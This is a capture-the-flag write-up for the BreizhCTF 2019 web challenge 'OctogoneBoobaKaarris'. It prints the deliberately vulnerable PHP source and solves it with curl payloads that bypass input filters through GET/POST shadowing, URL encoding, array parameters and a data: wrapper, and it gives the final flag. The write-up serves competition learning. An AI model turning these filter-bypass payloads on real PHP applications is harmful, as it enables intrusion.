BreizhCTF 2019: OctogoneBoobaKaarris
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
BreizhCTF 2019 | OctogoneBoobaKaarris | Web | 75 | 2 |
Description
URL: http://ctf.bzh:26000
TL;DR
The goal is to verify multiple conditions and bypass few PHP paradoxes including array parameters and $_SERVER variable parsing.
Methodology
First look at the code
A simple GET request at the URL gave us the following code:
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
if($_SERVER){
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
if(isset($_GET['octogone'])){
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
die('<center><b>booba vs kaaris... #tristesse</b></center>');
}else{
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
include 'flag.php';
echo $flag;
}else die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
?>
Looking at the code, we can see that we need to reach the statement echo $flag;
. The statement is reached when multiple conditions are verified (see each die() call). To debug the code, I decided to copy it and debug it inside my apache server (PHP version: 7).
Breakpoints and debugging
First of all, I decided to change each die errors with custom errors: ERROR1, ERROR2, ERROR3 …
Then I changed the include flag function to echo 'FLAG !'
. Finally I changed the error_reporting(0) policy to a “display all error” policy at the begin of the code.
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
highlight_file(__FILE__);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('ERROR1');
}
}
if($_SERVER){
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('ERROR2');
}
if(isset($_GET['octogone'])){
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
die('ERROR3');
}else{
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
echo 'FLAG !';
}else die('ERROR4');
}
}
?>
Let’s do it !
Bypass 1
The first condition was:
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('ERROR1');
}
The code says that if a variable from $_REQUEST contains characters then exit. This condition is in contradiction with others:
if preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles'])
To bypass this statement, we need to put every variable both in POST and GET parameters. $_REQUEST will then verify only the POST request. Note that we need to put an integer or an empty value for each parameters as post value.
Example:
curl "localhost/?param1=string1¶m2=string2" -X POST -d "param1=¶m2"
Bypass 2
The next condition was:
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('ERROR2');
In other word, the program exits when one of the word octogone
, flag
or sans_regles
is in the url. This is a problem because in the next part of the code, we’ve got the following check:
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']))
For this bypass, my friend Creased knew that “.” was replaced by a “_” for GET parameters (keys only). According to the PHP Forum, we can see that other chars are converted to an underscore.
Moreover url encode can bypass this check since $_SERVER
doesn’t url decode and $_GET
does.
We can now bypass the second problem:
curl "localhost/?sans.regles=viens_pas_a_12_cette_fois&%6fctogone=0&%66lag=0" -X POST -d "sans.regles="
Bypass 3
The third condition was a weird hash verification:
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
This means that the $_GET[‘octogone’] variable (the 32 firsts chars) must be equals to its own md5sum.
For this step, 2 solution: compute a md5collision in less than 32 chars (good luck !), or… play with empty array ! I decided to pass an array as parameter and see the behavior:
var_dump(substr([],32)); // NULL
var_dump(md5([])); // NULL
var_dump(substr([],32) == md5([])); // True
We can bypass the third problem with an array for octogone:
curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=0" -X POST -d "sans.regles="
Bypass 4
The last condition was the following one:
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
echo 'FLAG !';
}else die('ERROR4');
We need to set $_GET['flag']
to an url that file_get_contents
could request. Moreover, the result of this request must be equal to “#jaiMalAMaFrance”.
I decided to use the data wrapper: flag=data:plain/text,#jaiMalAMaFrance
. I urlencoded the first letter to bypass the second filter and put this variable in POST to bypass the first filter. I also urlencoded the special chars of the wrapper: data%3Aplain%2ftext%2C%23jaiMalAMaFrance
curl --globoff "localhost/test.php?sans.regles=viens_pas_a_12_cette_fois&%6fctogone[]=&%66lag=data%3Aplain%2ftext%2C%23jaiMalAMaFrance" -X POST -d "sans.regles=&flag="
Here we are ! We bypassed all the conditions !
Flag
BREIZHCTF{un_octogone_sans_arbitre_sans_règles…#jaimalamafrance}